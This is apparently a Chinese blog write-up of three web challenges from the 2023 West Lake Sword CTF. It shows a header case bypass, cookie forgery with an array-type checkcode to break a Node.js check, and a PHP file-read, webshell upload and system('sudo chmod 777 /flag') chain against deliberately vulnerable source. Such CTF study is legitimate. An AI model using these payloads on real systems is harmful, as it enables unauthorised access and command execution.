LOADING...

dadada~

loading

2023-西湖论剑复现

2023/2/12 CTF CTF-WP

web-扭转乾坤

  • 这题赛时没看,感觉有点小亏,随便一个文件上传成功了就给flag
  • Content-Type:multipart/form-data —需要在表单中进行文件上传时,就需要使用该格式
  • 但是直接上传会403,提示不允许使用这个请求头,可以大小写绕过,拿到flag
  • HTTP content-type

web-Node Magical Login

  • 一直在绕过伪随机试密码但是一直不成功,不太能理解(尖叫)

  • 所以正解是伪造cookie,纯纯是不好好看源码的锅了(翻出源码)

    if(req.cookies.user === "admin") {
                res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
                res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
            }
    
  • Cookie: user=admin这样可以拿到一半flag,继续访问flag2会提示要输入一个checkcode

  • 再看源码,在判断checkcode是否正确之前用toLowerCase()做了一个小写处理,所以后边会肯定验证失败

  • 如果让toLowerCase()抛出异常就可以绕过后面的部分拿到flag,让checkcode是列表类型即可触发异常

    if(checkcode.length === 16){
            try{
                checkcode = checkcode.toLowerCase()
                if(checkcode !== "aGr5AtSp55dRacer"){
                    res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
                }
            }catch (__) {}
            res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
        }else{
            res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
        }
    
  • post传:{"checkcode":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]},拿到第二段flag

web-unusual php

  • 应该是有大佬已经复现过了所以/flag可读了,因为有个步骤是更改权限,直接读出不了flag

  • 那还是复现一下,给的源码:

    <?php
    if($_GET["a"]=="upload"){
        move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
    }elseif ($_GET["a"]=="read") {
        echo file_get_contents($_GET["file"]);
    }elseif ($_GET["a"]=="version") {
        phpinfo();
    }
    
  • /proc/self/maps里面的信息能大概判断泄露的内存的属性,是哪个区域在泄漏、对应哪个文件

  • 这个文件要保存下来逆向,乱码怕保存不了,所以伪协议base64加密读一下,然后再解码写入文件,再逆向

  • 文件要改成.so后缀再逆,不然my_compile_file伪代码里还找不到key:abcsdfadfjiweur

  • 这样可以拿到index.php的源码,但是感觉没什么用:

    <?php
        highlight_file("/var/index.txt");
        if(!isset($_GET["a"])) exit();
        if($_GET["a"]=="upload"){
            move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
        }elseif ($_GET["a"]=="read") {
            echo file_get_contents($_GET["file"]);
        }elseif ($_GET["a"]=="version") {
            phpinfo();
        }
    
  • 传马,也是先base64加密,然后解码写入文件上传,传参?a=upload,f12添加一个上传表单:

    <form method="post" action="" enctype="multipart/form-data" name="form">
        <input type="file" name="file">
        <input type="submit" name="submit" value="上传">
    </form>
    
  • 看了一眼upload目录,全是大家传的各种🐎哈哈哈哈哈哈哈

  • /flag权限已经是777了但是还是走一下流程:haoye=system('sudo chmod 777 /flag');,然后cat /flag,结束